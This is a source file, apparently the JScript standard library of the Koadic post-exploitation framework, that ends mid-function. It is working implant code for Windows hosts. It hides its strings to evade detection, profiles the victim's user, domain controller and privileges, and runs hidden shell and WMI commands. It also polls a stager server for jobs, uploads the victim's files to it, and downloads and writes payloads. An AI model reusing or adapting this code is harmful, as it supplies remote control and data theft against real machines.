/
stdlib.js
1102 lines (984 loc) · 27.3 KB
/
stdlib.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
var Koadic = {};
Koadic.FS = new ActiveXObject("Scripting.FileSystemObject");
Koadic.WS = new ActiveXObject("WScrip"+"t.Shell");
Koadic.STAGER = "~URL~";
Koadic.SESSIONKEY = "~SESSIONKEY~";
Koadic.JOBKEY = "~JOBKEY~";
Koadic.JOBKEYPATH = "~URL~?~SESSIONNAME~=~SESSIONKEY~;~JOBNAME~=";
Koadic.EXPIRE = "~_EXPIREEPOCH_~";
/**
* Sleeps the current thread
*
* @param int ms - how long to sleep in milliseconds
* @param function callback - where to continue execution after the sleep
*
* @return void
*/
//sleep.start
Koadic.sleep = function(#ms#, #callback#)
{
if (Koadic.isHTA())
{
window.setTimeout(#callback#, #ms#);
}
else
{
var #now# = new Date().getTime();
while (new Date().getTime() < #now# + #ms#);
#callback#();
}
}
//sleep.end
/**
* Attempts to kill the current process using a myriad of methods
*
* @return void
*/
//exit.start
Koadic.exit = function()
{
if (Koadic.isHTA())
{
// crappy hack?
try {
window.close();
} catch(e){}
try {
window.self.close();
} catch (e){}
try {
window.top.close();
} catch (e){}
try{
self.close();
} catch (e){}
try
{
window.open('', '_se'+'l'+'f', '');
window.close();
}
catch (e)
{
}
}
try
{
WScript.quit();
}
catch (e)
{
}
try
{
var #pid# = Koadic.process.currentPID();
Koadic.process.kill(#pid#);
}
catch (e)
{
}
}
//exit.end
/**
* Determine if running in HTML Application context
*
* @return bool - true if HTML application context
*/
//isHTA.start
Koadic.isHTA = function()
{
return typeof(window) !== "undef"+"ined";
}
//isHTA.end
/**
* Determine if running in WScript Application context
*
* @return bool - true if WScript context
*/
//isWScript.start
Koadic.isWScript = function()
{
return typeof(WScript) !== "un"+"defined";
}
//isWScript.end
//uuid.start
Koadic.uuid = function()
{
try
{
function #s4#()
{
return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1);
}
return #s4#() + #s4#() + '-' + #s4#() + '-' + #s4#() + '-' +
#s4#() + '-' + #s4#() + #s4#() + #s4#();
}
catch(e)
{
}
}
//uuid.end
Koadic.user = {};
//user.isElevated.start
Koadic.user.isElevated = function()
{
try
{
var #res# = Koadic.shell.exec("whoa"+"mi /"+"all", "%TE"+"MP%\\"+Koadic.uuid()+".txt");
if (#res#.indexOf("SeDebugPrivilege") == -1)
return false;
else
return true;
}
catch(e)
{
return false;
}
}
//user.isElevated.end
//user.OS.start
Koadic.user.OS = function()
{
try
{
// var wmi = GetObject("winmgmts:\\\\.\\root\\CIMV2");
// var colItems = wmi.ExecQuery("SELECT * FROM Win32_OperatingSystem");
// var enumItems = new Enumerator(colItems);
// var objItem = enumItems.item();
var #osver# = Koadic.WS.RegRead("HK"+"LM\\SOFTWARE\\Micr"+"osoft\\Windows NT\\CurrentVers"+"ion\\ProductName");
var #osbuild# = Koadic.WS.RegRead("H"+"KLM\\SOFTWARE\\Micros"+"oft\\Windo"+"ws NT\\CurrentVersion\\Curren"+"tBuildNumber");
return #osver#+"***"+#osbuild#;
}
catch(e){}
return "Unkno"+"wn";
}
//user.OS.end
//user.DC.start
Koadic.user.DC = function()
{
try
{
var #DC# = Koadic.WS.RegRead("HKLM\\SOFT"+"WARE\\Microsoft\\Win"+"dows\\CurrentVersion\\Group "+"Policy\\History\\DC"+"Name");
if (#DC#.length > 0)
{
//DC += "___" + Koadic.WS.RegRead("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\MachineDomain")
//DC += Koadic.user.ParseDomainAdmins(Koadic.shell.exec("net group \"Domain Admins\" /domain", "%TEMP%\\das.txt"));
return #DC#;
}
}
catch(e)
{
}
return "Un"+"known";
}
//user.DC.end
/*Koadic.user.ParseDomainAdmins = function(results)
{
try
{
var domain = results.split("domain controller for domain ")[1].split(".\r\n")[0];
var retstring = "___" + domain;
var parse1 = results.split("-------\r\n")[1].split("The command completed successfully.")[0];
var parse2 = parse1.split("\r\n");
var tmp = [];
for(var i = 0; i < parse2.length; i++)
{
tmp = parse2[i].split(" ");
for(var j = 0; j < tmp.length; j++)
{
if(tmp[j])
{
retstring += "___" + tmp[j].toLowerCase();
}
}
}
}
catch(e)
{
}
return retstring;
}*/
//user.Arch.start
Koadic.user.Arch = function()
{
try
{
// var wmi = GetObject("winmgmts:\\\\.\\root\\CIMV2");
// var colItems = wmi.ExecQuery("SELECT * FROM Win32_OperatingSystem");
// var enumItems = new Enumerator(colItems);
// var objItem = enumItems.item();
var #arch# = Koadic.WS.RegRead("HK"+"LM\\SY"+"STEM\\CurrentControlSet\\Contr"+"ol\\Sessi"+"on Manager\\Environment\\PROCESSO"+"R_ARCHITECTURE");
return #arch#;
}
catch(e){}
return "Unk"+"nown";
}
//user.Arch.end
//user.CWD.start
Koadic.user.CWD = function()
{
try
{
var #cwd# = Koadic.shell.exec("c"+"d", "%TE"+"MP%\\"+Koadic.uuid()+".txt");
return #cwd#;
}
catch(e)
{}
return "";
}
//user.CWD.end
//user.IPAddrs.start
/*
Koadic.user.IPAddrs = function()
{
var interfaces = Koadic.shell.exec("reg query HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\interfaces", "%TEMP%\\"+Koadic.uuid()+".txt");
var interfacearray = interfaces.split("\n");
var retstring = "";
var interfaceid = "";
for (var i=0;i<interfacearray.length-1;i++)
{
interfaceid = interfacearray[i].split("\\")[interfacearray[i].split("\\").length-1];
try
{
var interface = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\interfaces\\"+interfaceid;
var res = Koadic.shell.exec("reg query "+interface+" /v DhcpIPAddress", "%TEMP%\\"+Koadic.uuid()+".txt");
retstring += res.split("REG_SZ")[1].split("\r\n")[0]+"___";
res = Koadic.shell.exec("reg query "+interface+" /v IPAddress", "%TEMP%\\"+Koadic.uuid()+".txt");
retstring += res.split("REG_MULTI_SZ")[1].split("\r\n")[0]+"___";
}
catch(e)
{continue;}
}
return retstring;
}
*/
Koadic.user.IPAddrs = function()
{
// try
// {
// var ipconfig = Koadic.shell.exec("ipconfig", "%TEMP%\\"+Koadic.uuid()+".txt");
// var ip = ipconfig.split(" IPv4 ")[1].split(": ")[1].split("\r\n")[0];
// return ip;
// }
// catch(e)
// {
// try
// {
// var ip = ipconfig.split(" IP ")[1].split(": ")[1].split("\r\n")[0];
// return ip;
// }
// // we might need to add more conditions :/
// catch(e)
// {}
// }
try
{
var #routeprint4# = Koadic.shell.exec("route PRINT", "%TEMP%\\"+Koadic.uuid()+".txt");
var #res# = #routeprint4#.split("\r\n");
for (var i=0; i < #res#.length; i++)
{
#line# = #res#[i].split(" ");
// count how many 0.0.0.0 entries in this array
#zerocount# = 4-4;
// count how many entries in this array aren't empty
#itemcount# = 9-9;
// flag for when this is the line we're looking for
#correctflag# = false;
for (var j=0; j < #line#.length; j++)
{
// empty string evals to false
if (#line#[j])
{
#itemcount# += 6-5;
// ip addr is in the 4th column
if (#itemcount# == 2+2 && #correctflag#) {
return #line#[j];
}
}
if (#line#[j] == "0."+"0.0.0")
{
#zerocount# += 9-8;
// 2 occurances of the 'any' interface in a single line is what we're looking for
if (#zerocount# == 1+1)
{
#correctflag# = true;
}
}
}
}
}
catch(e)
{}
return "";
}
//user.IPAddrs.end
//user.info.start
Koadic.user.info = function()
{
var #net# = new ActiveXObject("WSc"+"ript.Net"+"work");
var #domain# = "";
if (#net#.UserDomain.length != 0)
{
#domain# = #net#.UserDomain;
}
else
{
#domain# = Koadic.shell.exec("echo %us"+"erdomain%", "%TE"+"MP%\\"+Koadic.uuid()+".txt");
#domain# = #domain#.split(" \r\n")[0];
}
var #info# = #domain# + "\\" + #net#.Username;
if (Koadic.user.isElevated())
#info# += "*";
var #bypassio# = #net#.ComputerName;
#info# += "~"+"~~" + #bypassio#;
#info# += "~~"+"~" + Koadic.user.OS();
#info# += "~"+"~~" + Koadic.user.DC();
#info# += "~~"+"~" + Koadic.user.Arch();
#info# += "~"+"~~" + Koadic.user.CWD();
#info# += "~~"+"~" + Koadic.user.IPAddrs();
#info# += "~"+"~~" + Koadic.user.encoder();
#info# += "~~"+"~" + Koadic.user.shellchcp();
return #info#;
}
//user.info.end
//user.encoder.start
Koadic.user.encoder = function()
{
try
{
var encoder = Koadic.WS.RegRead("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Nls\\CodePage\\ACP");
return encoder;
}
catch(e)
{
return "1252";
}
}
//user.encoder.end
//user.shellchcp.start
Koadic.user.shellchcp = function()
{
try
{
var encoder = Koadic.WS.RegRead("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Nls\\CodePage\\OEMCP");
return encoder;
}
catch(e)
{
return "437";
}
}
//user.shellchcp.end
Koadic.work = {};
/*
Koadic.work.applyDefaultHeaders = function(headers)
{
var headers = (typeof(headers) !== "undefined") ? headers : {};
headers["SESSIONKEY"] = Koadic.SESSIONKEY;
headers["JOBKEY"] = Koadic.JOBKEY;
}
*/
/**
* Reports a successful message to the stager
*
* @param string data - The post body
* @param map headers - Any additional HTTP headers
*
* @return object - the HTTP object
*/
//work.report.start
Koadic.work.report = function(data, headers)
{
//var headers = Koadic.work.applyDefaultHeaders(headers);
return Koadic.http.post(Koadic.work.make_url(), data, headers);
}
//work.report.end
/**
* Reports an error condition to the stager
*
* @param exception e - what exception was thrown
*
* @return object - the HTTP object
*/
//work.error.start
Koadic.work.error = function(e)
{
try
{
var headers = {};
headers["errno"] = (e.number) ? e.number : "-1";
headers["errname"] = (e.name) ? e.name : "Unknown";
headers["errdesc"] = (e.description) ? e.description : "Unknown";
return Koadic.work.report(e.message, headers);
}
catch (e)
{
// Abandon all hope ye who enter here
// For this is where all things are left behind
}
}
//work.error.end
/**
* Makes the stager callhome URL for a specific jobkey
*
* @param string jobkey - which job to fetch
*
* @return string - the stager callhome URL
*/
//work.make_url.start
Koadic.work.make_url = function(jobkey)
{
var jobkey = (typeof(jobkey) !== "undefined") ? jobkey : Koadic.JOBKEY;
return Koadic.JOBKEYPATH + jobkey + ";";
}
//work.make_url.end
/**
* Fetches the next job from the server
*
* @return object - the HTTP object
*/
//work.get.start
Koadic.work.get = function()
{
var url = Koadic.work.make_url();
return Koadic.http.post(url);
}
//work.get.end
/**
* Forks a new process and runs the specific jobkey
*
* @param string jobkey - the job to fetch/run
* @param bool fork32Bit - ensure new process is x86
*
* @return void
*/
//work.fork.start
Koadic.work.fork = function(jobkey, fork32Bit)
{
var fork32Bit = (typeof(fork32Bit) !== "undefined") ? fork32Bit : false;
var cmd = "~_FORKCMD_~";
if (fork32Bit)
cmd = Koadic.file.get32BitFolder() + cmd;
cmd = cmd.replace("***K***", Koadic.work.make_url(jobkey));
try {
// Koadic.WMI.createProcess(cmd);
// } catch (e) {
Koadic.WS.Run(cmd, 0, false);
} catch (e) {
try {
Koadic.WMI.createProcess(cmd);
} catch (e) {
Koadic.exit();
}
}
}
//work.fork.end
Koadic.http = {};
//http.create.start
Koadic.http.create = function()
{
var http = null;
try
{
http = new ActiveXObject("Msxml2.ServerXMLHTTP.6.0");
http.setTimeouts(0, 0, 0, 0);
//http = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e)
{
http = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
http.setTimeouts(30000, 30000, 30000, 0);
}
return http;
}
//http.create.end
//http.addHeaders.start
Koadic.http.addHeaders = function(http, headers)
{
var headers = (typeof(headers) !== "undefined") ? headers : {};
var content = false;
for (var key in headers)
{
var value = headers[key];
http.setRequestHeader(key, value);
if (key.toUpperCase() == "CONTENT-TYPE")
content = true;
}
if (!content)
{
http.setRequestHeader("Content-Type", "application/octet-stream");
}
http.setRequestHeader("encoder", Koadic.user.encoder());
http.setRequestHeader("shellchcp", Koadic.user.shellchcp());
return;
}
//http.addHeaders.end
//http.post.start
Koadic.http.post = function(url, data, headers)
{
var data = (typeof(data) !== "undefined") ? data : "";
//var http = new ActiveXObject("Microsoft.XMLHTTP");
var http = Koadic.http.create();
http.open("POST", url, false);
Koadic.http.addHeaders(http, headers);
// alert("---Making request---\n" + url + '\n' + "--Data--\n" + data);
http.send(data);
// alert("---Response---\n" + http.responseText)
return http;
}
//http.post.end
//http.get.start
Koadic.http.get = function(url, headers)
{
var http = Koadic.http.create();
http.open("GET", url, false);
Koadic.http.addHeaders(http, headers);
http.send();
return http;
}
//http.get.end
/**
* Upload a file, off zombie, to stager
*
* @param filepath - the full path to the file to send
* @param header_uuid - a unique identifier for this file
* @param header_key - optional HTTP header tag to send uuid over
*
* @return object - the HTTP object
*
**/
//http.upload.start
Koadic.http.upload = function(filepath, header_uuid, certutil, header_key)
{
var key = (typeof(header_key) !== "undefined") ? header_key : "ETag";
var headers = {};
headers[key] = header_uuid;
var data = Koadic.file.readBinary(filepath, true, certutil);
if (Koadic.user.encoder() == "936")
{
// do nothing
}
else
{
// we must replace null bytes or MS will cut off the body
data = data.replace(/\\/g, "\\\\");
data = data.replace(/\0/g, "\\0");
}
return Koadic.work.report(data, headers);
}
//http.upload.end
//http.download.start
Koadic.http.download = function(filepath, header_uuid, header_key)
{
var key = (typeof(header_key) !== "undefined") ? header_key : "ETag";
var headers = {};
headers[key] = header_uuid;
return Koadic.http.downloadEx("POST", Koadic.work.make_url(), headers, filepath);
}
//http.download.end
//http.downloadEx.start
Koadic.http.downloadEx = function(verb, url, headers, path)
{
if (verb == "GET")
{
var http = Koadic.http.get(url, headers);
}
else
{
var http = Koadic.http.post(url, "", headers);
}
var stream = new ActiveXObject("Adodb.Stream");
stream.Type = 1;
stream.Open();
stream.Write(http.responseBody);
var data = Koadic.http.bin2str(stream);
Koadic.file.write(path, data);
}
//http.downloadEx.end
//http.bin2str.start
Koadic.http.bin2str = function(stream)
{
stream.Flush();
stream.Position = 0;
var bin = stream.Read();
var rs = new ActiveXObject("Adodb.RecordSet");
rs.Fields.Append("temp", 101+100, stream.Size);
rs.Open();
rs.AddNew();
rs("temp").AppendChunk(bin);
rs.Update();
var data = rs.GetString();
rs.Close();
return data.substring(0, data.length - 1);
}
//http.bin2str.end
Koadic.process = {};
//process.currentPID.start
Koadic.process.currentPID = function()
{
var cmd = Koadic.file.getPath("%comspec% /K hostname");
//Koadic.WS.Run(cmd, 0, false);
var childPid = Koadic.WMI.createProcess(cmd);
var pid = -1;
// there could be a race condition, but CommandLine returns null on win2k
// and is often null on later windows with more harsh privileges
// todo: this method is stupid. instead of using .Run, spawn a WMI process.
// then we get child PID for free and can backtrack PPID, no race condition
var latestTime = 0;
var latestProc = null;
var processes = Koadic.process.list();
var items = new Enumerator(processes);
while (!items.atEnd())
{
var proc = items.item();
try
{
/*
if (proc.Name.indexOf("cmd") != -1)
{
if (latestTime == 0 && proc.CreationDate)
latestTime = proc.CreationDate;
if (proc.CreationDate > latestTime)
{
latestTime = proc.CreationDate;
latestProc = proc;
}
}
*/
if (proc.ProcessId == childPid)
{
latestProc = proc;
break;
}
} catch (e)
{
}
items.moveNext();
}
pid = latestProc.ParentProcessId;
latestProc.Terminate();
return pid;
}
//process.currentPID.end
//process.kill.start
Koadic.process.kill = function(pid)
{
var processes = Koadic.process.list();
var items = new Enumerator(processes);
while (!items.atEnd())
{
var proc = items.item();
try
{
if (proc.ProcessId == pid)
{
proc.Terminate();
return true;
}
} catch (e)
{
}
items.moveNext();
}
return false;
}
//process.kill.end
//process.list.start
Koadic.process.list = function()
{
var wmi = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2");
var query = "Select * Fr"+"om Win32_Process";
return wmi.ExecQuery(query);
}
//process.list.end
//process.getPID.start
Koadic.process.getPID = function(process_name)
{
var processes = Koadic.process.list();
var items = new Enumerator(processes);
while (!items.atEnd())
{
var proc = items.item();
try
{
if (proc.Name == process_name)
{
return proc.ProcessId;
}
} catch (e)
{
}
items.moveNext();
}
return false;
}
//process.getPID.end
// http://apidock.com/ruby/Win32/Registry/Constants
//registry.start
Koadic.registry = {};
Koadic.registry.HKCR = 0x80000000;
Koadic.registry.HKCU = 0x80000001;
Koadic.registry.HKLM = 0x80000002;
Koadic.registry.STRING = 0;
Koadic.registry.BINARY = 1;
Koadic.registry.DWORD = 2;
Koadic.registry.QWORD = 3;
//registry.provider.start
Koadic.registry.provider = function(computer)
{
var computer = (typeof(computer) !== "undefined") ? computer : ".";
var reg = GetObject("winmgmts:\\\\" + computer + "\\root\\default:StdRegProv");
return reg;
}
//registry.provider.end
//registry.write.start
Koadic.registry.write = function(hKey, path, key, value, valType, computer)
{
var reg = Koadic.registry.provider(computer);
reg.CreateKey(hKey, path);
if (valType == Koadic.registry.STRING)
reg.SetStringValue(hKey, path, key, value);
else if (valType == Koadic.registry.DWORD)
reg.SetDWORDValue(hKey, path, key, value);
else if (valType == Koadic.registry.QWORD)
reg.SetQWORDValue(hKey, path, key, value);
else if (valType == Koadic.registry.BINARY)
reg.SetBinaryValue(hKey, path, key, value);
}
//registry.write.end
//registry.read.start
Koadic.registry.read = function(hKey, path, key, valType, computer)
{
var reg = Koadic.registry.provider(computer);
var methodName = "";
if (valType == Koadic.registry.STRING)
methodName = "GetStringValue";
else if (valType == Koadic.registry.DWORD)
methodName = "GetDWORDValue";
else if (valType == Koadic.registry.QWORD)
methodName = "GetQWORDValue";
else if (valType == Koadic.registry.BINARY)
methodName = "GetBinaryValue";
if (methodName == "")
return;
var method = reg.Methods_.Item(methodName);
var inparams = method.InParameters.SpawnInstance_();
inparams.hDefKey = hKey;
inparams.sSubKeyName = path;
inparams.sValueName = key;
var outparams = reg.ExecMethod_(method.Name, inparams);
return outparams;
}
//registry.read.end
//registry.destroy.start
Koadic.registry.destroy = function(hKey, path, key, computer)
{
var reg = Koadic.registry.provider(computer);
var loc = (key == "") ? path : path + "\\" + key;
return reg.DeleteKey(hKey, loc);
}
//registry.destroy.end
/*
// DEPRECATED
Koadic.registry.create = function(hiveKey, path, key, computer)
{
var computer = (typeof(computer) !== "undefined") ? computer : ".";
var sw = new ActiveXObject("WbemScripting.SWbemLocator");
var root = sw.ConnectServer(computer, "root\\default");
var reg = root.get("StdRegProv");
var enumKey = reg.Methods_.Item("EnumKey");
var inParams = enumKey.InParameters.SpawnInstance_();
inParams.hDefKey = hiveKey;
inParams.sSubKeyName = path;
var outParam = reg.ExecMethod_(enumKey.Name, inParams);
if (outParam.ReturnValue != 0)
return false;
if (outParam.sNames)
{
var subKeys = outParam.sNames.toArray();
for (var i = 0; i < subKeys.length; ++i)
{
if (subkeys[i].toUpperCase() == key.toUpperCase())
return true;
}
}
var createKey = reg.Methods_.Item("CreateKey");
var createArgs = createKey.InParameters.SpawnInstance_();
createArgs.hDefKey = hiveKey;
createArgs.sSubKeyName = path + "\\" + key;
var createRet = reg.ExecMethod_(createKey.Name, createArgs);
return createRet.returnValue == 0;
}
*/
//registry.end
Koadic.WMI = {};
//WMI.createProcess.start
Koadic.WMI.createProcess = function(cmd, #dpriv#)
{
var SW_HIDE = 0;
var pid = 0;
var #dpriv# = (typeof(#dpriv#) !== "undefined") ? #dpriv# : false;
var #part1# = "winmgmts:{impersonationLevel=impersonate";
if (#dpriv#)
{
#part1# += ", (DEBUG)";
}
var #part2# = "}!\\\\.\\root\\cimv2";
var wmi = GetObject(#part1#+#part2#);
var si = wmi.Get("Win"+"32_ProcessStartup").SpawnInstance_();
si.ShowWindow = SW_HIDE;
si.CreateFlags = 16777216;
si.X = si.Y = si.XSize = si.ySize = 1;
//wmi.Get("Win32_Process").Create(cmd, null, si, pid);
var w32proc = wmi.Get("Win32_Process");
var method = w32proc.Methods_.Item("Create");
var inParams = method.InParameters.SpawnInstance_();
inParams.CommandLine = cmd;
inParams.CurrentDirectory = null;
inParams.ProcessStartupInformation = si;
var outParams = w32proc.ExecMethod_("Create", inParams);
return outParams.ProcessId;
}
//WMI.createProcess.end
Koadic.shell = {};
//shell.exec.start
Koadic.shell.exec = function(cmd, stdOutPath)
{
cmd = "chcp " + Koadic.user.shellchcp() + " & " + cmd;
var c = "%comspec% /q /c " + cmd + " 1> " + Koadic.file.getPath(stdOutPath);
c += " 2>&1";
Koadic.WS.Run(c, 0, true);
if (Koadic.user.encoder() == "936")
{
var data = Koadic.file.readText(stdOutPath);
}
else
{
var data = Koadic.file.readBinary(stdOutPath);
}
Koadic.file.deleteFile(stdOutPath);
return data;
}
//shell.exec.end
//shell.run.start
Koadic.shell.run = function(cmd, fork)
{
var fork = (typeof(fork) !== "undefined") ? fork : true;
var c = "%comspec% /q /c " + cmd;
Koadic.WS.Run(cmd, 5-5, !fork);
}
//shell.run.end
Koadic.file = {};
//file.getPath.start
Koadic.file.getPath = function(path)
{
return Koadic.WS.ExpandEnvironmentStrings(path);
}
//file.getPath.end
/**
* @return string - the system folder with x86 binaries
*/
//file.get32BitFolder.start
Koadic.file.get32BitFolder = function()
{
var base = Koadic.file.getPath("%WINDIR%");
var syswow64 = base + "\\SysWOW64\\";
if (Koadic.FS.FolderExists(syswow64))
return syswow64;